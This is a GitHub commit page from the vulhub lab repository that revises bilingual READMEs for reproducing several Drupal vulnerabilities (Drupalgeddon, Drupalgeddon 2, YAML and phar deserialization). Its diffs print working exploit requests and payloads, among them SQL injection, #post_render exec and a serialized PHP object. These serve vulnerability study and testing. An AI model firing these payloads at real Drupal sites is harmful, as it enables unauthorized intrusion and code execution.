Skip to content

Commit

Permalink
Merge pull request vulhub#605 from vulhub/drupal-translate
Browse files Browse the repository at this point in the history
Improve README for Drupal issues
  • Loading branch information
phith0n authored Mar 6, 2025
2 parents fd7f3e9 + 0da2569 commit a36bf03
Show file tree
Hide file tree
Showing 13 changed files with 295 additions and 116 deletions.
7 changes: 6 additions & 1 deletion drupal/CVE-2014-3704/README.md
Original file line number Diff line number Diff line change
@@ -1,11 +1,16 @@
# Drupal < 7.32 "Drupalgeddon" SQL Injection Vulnerability (CVE-2014-3704)
# Drupal < 7.32 "Drupalgeddon" SQL Injection (CVE-2014-3704)

[中文版本(Chinese version)](README.zh-cn.md)

Drupal is a free and open-source web content management framework written in PHP and distributed under the GNU General Public License.

The expandArguments function in the database abstraction API in Drupal core 7.x before 7.32 does not properly construct prepared statements, which allows remote attackers to conduct SQL injection attacks via an array containing crafted keys.

References:

- <https://www.drupal.org/SA-CORE-2014-005>
- <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3704>

## Vulnerable Environment

Execute the following command to start a Drupal 7.31.
Expand Down
25 changes: 16 additions & 9 deletions drupal/CVE-2014-3704/README.zh-cn.md
Original file line number Diff line number Diff line change
@@ -1,28 +1,35 @@
# Drupal < 7.32 Drupalgeddon SQL注入漏洞(CVE-2014-3704)
# Drupal < 7.32 "Drupalgeddon" SQL注入漏洞(CVE-2014-3704)

Drupal 是一款用量庞大的CMS,其7.0~7.31版本中存在一处无需认证的SQL漏洞。通过该漏洞,攻击者可以执行任意SQL语句,插入、修改管理员信息,甚至执行任意代码
Drupal是一个使用PHP编写的免费开源的Web内容管理框架,在GNU通用公共许可证下分发

## 漏洞环境
在Drupal Core 7.32版本之前的7.x版本中,数据库抽象API中的expandArguments函数没有正确构造预处理语句,这允许远程攻击者通过包含精心构造的键的数组进行SQL注入攻击。

执行如下命令启动Drupal 7.31环境:
参考链接:

- <https://www.drupal.org/SA-CORE-2014-005>
- <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3704>

## 环境搭建

执行如下命令启动一个Drupal 7.31服务器:

```
docker compose up -d
```

环境启动后,访问`http://your-ip:8080`即可看到Drupal的安装页面,使用默认配置安装即可
环境启动后,访问`http://your-ip:8080`将会看到Drupal的安装向导,使用默认配置进行安装

其中,Mysql数据库名填写`drupal`数据库用户名、密码为`root`,地址为`mysql`
注意:MySQL数据库名为`drupal`数据库用户名和密码均为`root`,地址为`mysql`

![](1.png)

安装完成后,访问首页
安装完成后,即可访问首页

![](2.png)

## 漏洞复现

该漏洞无需认证,发送如下数据包即可执行恶意SQL语句
该SQL注入漏洞无需身份认证,可以通过发送以下请求来执行恶意SQL语句

```
POST /?q=node&destination=node HTTP/1.1
Expand All @@ -38,6 +45,6 @@ Content-Length: 120
pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a
```

可见,信息已被爆出
如图所示,SQL语句报错信息中包含了用户数据

![](3.png)
68 changes: 22 additions & 46 deletions drupal/CVE-2017-6920/README.md
Original file line number Diff line number Diff line change
@@ -1,64 +1,40 @@
# Drupal Core 8 PECL YAML 反序列化任意代码执行漏洞(CVE-2017-6920
# Drupal Core 8 PECL YAML Deserialization Remote Code Execution (CVE-2017-6920)

* 影响软件:Drupal
* 方式:反序列化
* 参考链接:[CVE-2017-6920:Drupal远程代码执行漏洞分析及POC构造](https://paper.seebug.org/334/)
* 效果:任意代码执行
[中文版本(Chinese version)](README.zh-cn.md)

## 漏洞环境
Drupal is a free and open-source web content management framework written in PHP.

执行如下命令启动 drupal 8.3.0 的环境:
A remote code execution vulnerability exists in Drupal 8.x through 8.3.4 when using the PECL YAML parser. The vulnerability is caused by unsafe deserialization of YAML content, allowing attackers to execute arbitrary code.

```bash
References:

- <https://www.drupal.org/forum/newsletters/security-advisories-for-drupal-core/2017-06-21/drupal-core-multiple>
- <https://paper.seebug.org/334/>

## Environment Setup

Execute the following command to start a vulnerable Drupal 8.3.0 server:

```
docker compose up -d
```

环境启动后,访问 `http://your-ip:8080/` 将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。

## 漏洞复现

* 先安装 `yaml` 扩展

```bash
# 换镜像源,默认带vim编辑器,所以用cat换源,可以换成自己喜欢的源
cat > sources.list << EOF
deb http://mirrors.163.com/debian/ jessie main non-free contrib
deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
deb-src http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
EOF
# 安装依赖
apt update
apt-get -y install gcc make autoconf libc-dev pkg-config
apt-get -y install libyaml-dev
# 安装yaml扩展
pecl install yaml
docker-php-ext-enable yaml.so
# 启用 yaml.decode_php 否则无法复现成功
echo 'yaml.decode_php = 1 = 1'>>/usr/local/etc/php/conf.d/docker-php-ext-yaml.ini
# 退出容器
exit
# 重启容器,CONTAINER换成自己的容器ID
docker restart CONTAINER
```
After the server is started, visit `http://your-ip:8080/` to access the Drupal installation page. Follow the default configuration steps to complete the installation. Since there is no MySQL environment, you can choose SQLite as the database.

## Vulnerability Reproduction

To reproduce this vulnerability, first log in to the Drupal site with administrator credentials. Once logged in, navigate to the configuration import page at `http://127.0.0.1:8080/admin/config/development/configuration/single/import`.

* 1.登录一个管理员账号
* 2.访问 `http://127.0.0.1:8080/admin/config/development/configuration/single/import`
* 3.如下图所示,`Configuration type` 选择 `Simple configuration``Configuration name` 任意填写,`Paste your configuration here` 中填写PoC如下:
Select "Simple configuration" for Configuration type, enter any name for Configuration name, and paste the following PoC in "Paste your configuration here":

```php
!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"
```

![1](1.png)

* 4.点击 `Import` 后可以看到漏洞触发成功,弹出 `phpinfo` 页面。
Click "Import" and you will see the vulnerability has been successfully triggered, displaying the phpinfo page:

![2](2.png)

* Tips:
* 虽然官方 CPE 信息显示从 `8.0.0` 开始就有该漏洞,但是在 `drupal:8.0.0` 容器内并没有复现成功,相同操作在 `drupal:8.3.0` 则可以复现成功,故基础镜像选择`drupal:8.3.0`
> Note: Although official CPE information indicates this vulnerability exists since version 8.0.0, our testing shows it can only be reproduced in Drupal 8.3.0, not in 8.0.0.
38 changes: 38 additions & 0 deletions drupal/CVE-2017-6920/README.zh-cn.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,38 @@
# Drupal Core 8 PECL YAML反序列化远程代码执行漏洞(CVE-2017-6920)

Drupal是一个使用PHP编写的免费开源的Web内容管理框架。

在使用PECL YAML解析器的Drupal 8.x至8.3.4版本中存在远程代码执行漏洞。该漏洞是由于YAML内容的不安全反序列化导致的,允许攻击者执行任意代码。

参考链接:

- <https://www.drupal.org/forum/newsletters/security-advisories-for-drupal-core/2017-06-21/drupal-core-multiple>
- <https://paper.seebug.org/334/>

## 环境搭建

执行如下命令启动一个存在漏洞的Drupal 8.3.0服务器:

```
docker compose up -d
```

环境启动后,访问`http://your-ip:8080/`将会看到Drupal的安装页面。按照默认配置完成安装步骤。由于环境中没有MySQL,可以选择SQLite作为数据库。

## 漏洞复现

首先,以管理员身份登录Drupal站点。然后,访问`http://127.0.0.1:8080/admin/config/development/configuration/single/import`页面。

在Configuration type中选择"Simple configuration",Configuration name可以任意填写,在"Paste your configuration here"中粘贴以下PoC:

```php
!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"
```

![1](1.png)

点击"Import"后,你将看到漏洞已成功触发,显示phpinfo页面:

![2](2.png)

> 注意:虽然官方CPE信息显示该漏洞从8.0.0版本就存在,但我们的测试表明只能在Drupal 8.3.0中复现,而在8.0.0中无法复现。
5 changes: 3 additions & 2 deletions drupal/CVE-2018-7600/README.md
Original file line number Diff line number Diff line change
@@ -1,12 +1,13 @@
# Drupal Drupalgeddon 2 Remote Code Execution Vulnerability (CVE-2018-7600)
# Drupal Drupalgeddon 2 Remote Code Execution (CVE-2018-7600)

[中文版本(Chinese version)](README.zh-cn.md)

Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allows remote attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or common module configurations including the Form API.

References:

- https://research.checkpoint.com/uncovering-drupalgeddon-2/
- <https://www.drupal.org/sa-core-2018-002>
- <https://research.checkpoint.com/uncovering-drupalgeddon-2/>

## Vulnerable environment

Expand Down
21 changes: 13 additions & 8 deletions drupal/CVE-2018-7600/README.zh-cn.md
Original file line number Diff line number Diff line change
@@ -1,22 +1,27 @@
# Drupal Drupalgeddon 2 远程代码执行漏洞CVE-2018-7600)
# Drupal Drupalgeddon 2远程代码执行漏洞CVE-2018-7600)

Drupal 是一款用量庞大的CMS,其6/7/8版本的Form API中存在一处远程代码执行漏洞。相关分析如下:
Drupal是一个使用PHP编写的免费开源的Web内容管理框架。

- https://research.checkpoint.com/uncovering-drupalgeddon-2/
在Drupal 7.58之前的版本、8.3.9之前的8.x版本、8.4.6之前的8.4.x版本和8.5.1之前的8.5.x版本中存在远程代码执行漏洞。该漏洞影响了多个具有默认或常见模块配置的子系统,包括Form API。

## 漏洞环境
参考链接:

执行如下命令启动drupal 8.5.0的环境:
- <https://www.drupal.org/sa-core-2018-002>
- <https://research.checkpoint.com/uncovering-drupalgeddon-2/>

## 环境搭建

执行如下命令启动一个存在漏洞的Drupal 8.5.0服务器:

```
docker compose up -d
```

环境启动后,访问`http://your-ip:8080/`将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库
环境启动后,访问`http://your-ip:8080/`将会看到Drupal的安装页面。使用"标准"配置文件完成Drupal安装。由于环境中没有MySQL,安装时应选择SQLite数据库。安装完成后,即可开始漏洞利用

## 漏洞复现

参考[a2u/CVE-2018-7600](https://github.com/a2u/CVE-2018-7600/blob/master/exploit.py)我们向安装完成的drupal发送如下数据包
参考[a2u/CVE-2018-7600](https://github.com/a2u/CVE-2018-7600/blob/master/exploit.py)我们可以向Drupal发送以下请求

```
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Expand All @@ -32,6 +37,6 @@ Content-Length: 103
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
```

成功执行代码,这个代码最终执行了id命令
代码执行成功后,id命令将被执行

![](1.png)
33 changes: 21 additions & 12 deletions drupal/CVE-2018-7602/README.md
Original file line number Diff line number Diff line change
@@ -1,28 +1,37 @@
# Drupal 远程代码执行漏洞(CVE-2018-7602
# Drupal Remote Code Execution (CVE-2018-7602)

* 影响软件:drupal
* 方式:对URL中的#进行编码两次,绕过sanitize()函数过滤
* 效果:任意命令执行
[中文版本(Chinese version)](README.zh-cn.md)

## 漏洞环境
Drupal is a free and open-source web content management framework written in PHP.

执行如下命令启动drupal 7.57的环境:
A remote code execution vulnerability exists in Drupal 7.x and 8.x. The vulnerability is caused by insufficient input sanitization, where double URL encoding of the '#' character can bypass the sanitize() function filter, leading to remote code execution.

References:

- <https://www.drupal.org/sa-core-2018-004>
- <https://github.com/pimps/CVE-2018-7600>
- <https://github.com/kastellanos/CVE-2018-7602>

## Environment Setup

Execute the following command to start a vulnerable Drupal 7.57 server:

```bash
docker compose up -d
```

环境启动后,访问 `http://your-ip:8081/` 将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。

## 漏洞复现
After the server is started, visit `http://your-ip:8081/` to access the Drupal installation page. Follow the default configuration steps to complete the installation. Since there is no MySQL environment, you can choose SQLite as the database.

参考[pimps/CVE-2018-7600](https://github.com/pimps/CVE-2018-7600/blob/master/drupa7-CVE-2018-7602.py)的PoC。
## Vulnerability Reproduction

如下图所示,执行以下命令即可复现该漏洞。示例命令为 `id`,如图红框中显示,可以执行该命令。
Using the PoC from [pimps/CVE-2018-7600](https://github.com/pimps/CVE-2018-7600/blob/master/drupa7-CVE-2018-7602.py), execute the following command to exploit the vulnerability:

```bash
# "id"为要执行的命令 第一个drupal为用户名 第二个drupal为密码
# Replace "id" with the command you want to execute
# First "drupal" is username, second "drupal" is password
python3 drupa7-CVE-2018-7602.py -c "id" drupal drupal http://127.0.0.1:8081/
```

As shown in the red box in the image below, the command is successfully executed:

![](1.png)
35 changes: 35 additions & 0 deletions drupal/CVE-2018-7602/README.zh-cn.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
# Drupal远程代码执行漏洞(CVE-2018-7602)

Drupal是一个使用PHP编写的免费开源的Web内容管理框架。

在Drupal 7.x和8.x版本中存在远程代码执行漏洞。该漏洞是由于输入过滤不充分,通过对URL中的'#'字符进行两次URL编码可以绕过sanitize()函数过滤,从而导致远程代码执行。

参考链接:

- <https://www.drupal.org/sa-core-2018-004>
- <https://github.com/pimps/CVE-2018-7600>
- <https://github.com/kastellanos/CVE-2018-7602>

## 环境搭建

执行如下命令启动一个存在漏洞的Drupal 7.57服务器:

```
docker compose up -d
```

环境启动后,访问`http://your-ip:8081/`将会看到Drupal的安装页面。按照默认配置完成安装步骤。由于环境中没有MySQL,可以选择SQLite作为数据库。

## 漏洞复现

使用来自[pimps/CVE-2018-7600](https://github.com/pimps/CVE-2018-7600/blob/master/drupa7-CVE-2018-7602.py)的PoC,执行以下命令来利用漏洞:

```
# 将"id"替换为你想执行的命令
# 第一个"drupal"是用户名,第二个"drupal"是密码
python3 drupa7-CVE-2018-7602.py -c "id" drupal drupal http://127.0.0.1:8081/
```

如下图红框所示,命令成功执行:

![](1.png)
39 changes: 26 additions & 13 deletions drupal/CVE-2019-6339/README.md
Original file line number Diff line number Diff line change
@@ -1,28 +1,41 @@
# Drupal 远程代码执行漏洞(CVE-2019-6339
# Drupal Remote Code Execution by phar deserialization (CVE-2019-6339)

* 影响软件:Drupal
* 方式:phar反序列化RCE
* 参考链接:[Drupal 1-click to RCE 分析](https://paper.seebug.org/897/)
* 效果:任意命令执行
[中文版本(Chinese version)](README.zh-cn.md)

## 漏洞环境
Drupal is a free and open-source web content management framework written in PHP.

执行如下命令启动drupal 8.5.0的环境:
A remote code execution vulnerability exists in Drupal 7.x before 7.62, Drupal 8.5.x before 8.5.9 and 8.6.x before 8.6.6. The vulnerability is caused by improper handling of PHAR deserialization in the file system service, which can lead to remote code execution.

```bash
References:

- <https://www.drupal.org/sa-core-2019-002>
- <https://www.zerodayinitiative.com/blog/2019/4/11/a-series-of-unfortunate-images-drupal-1-click-to-rce-exploit-chain-detailed>
- <https://paper.seebug.org/897/>

## Environment Setup

Execute the following command to start a vulnerable Drupal 8.5.0 server:

```
docker compose up -d
```

环境启动后,访问 `http://your-ip:8080/` 将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。
After the server is started, visit `http://your-ip:8080/` to access the Drupal installation page. Follow the default configuration steps to complete the installation. Since there is no MySQL environment, you can choose SQLite as the database.

## 漏洞复现
## Vulnerability Reproduction

如下图所示,先使用管理员用户上传头像,头像图片为构造好的 PoC,参考[thezdi/PoC](https://github.com/thezdi/PoC/tree/master/Drupal)的PoC。
First, log in as an administrator and upload an avatar. The avatar image should be a specially crafted PoC file (you can refer to [thezdi/PoC](https://github.com/thezdi/PoC/tree/master/Drupal) for the PoC):

![1](1.png)

Drupal 的图片默认存储位置为 `/sites/default/files/pictures/<YYYY-MM>/`,默认存储名称为其原来的名称,所以之后在利用漏洞时,可以知道上传后的图片的具体位置。
By default, Drupal stores uploaded images in the `/sites/default/files/pictures/<YYYY-MM>/` directory and keeps their original filenames. This information is important for exploiting the vulnerability.

Visit `http://127.0.0.1:8080/admin/config/media/file-system` and enter the path to the previously uploaded image in the "Temporary directory" field. For example:

```
phar://./sites/default/files/pictures/2019-06/blog-ZDI-CAN-7232-cat_0.jpg
```

访问 `http://127.0.0.1:8080/admin/config/media/file-system`,在 `Temporary directory` 处输入之前上传的图片路径,示例为 `phar://./sites/default/files/pictures/2019-06/blog-ZDI-CAN-7232-cat_0.jpg`,保存后将触发该漏洞。如下图所示,触发成功。
Save the configuration to trigger the vulnerability. The successful exploitation will be confirmed by the execution of the malicious code:

![2](2.png)
Loading

0 comments on commit a36bf03

Please sign in to comment.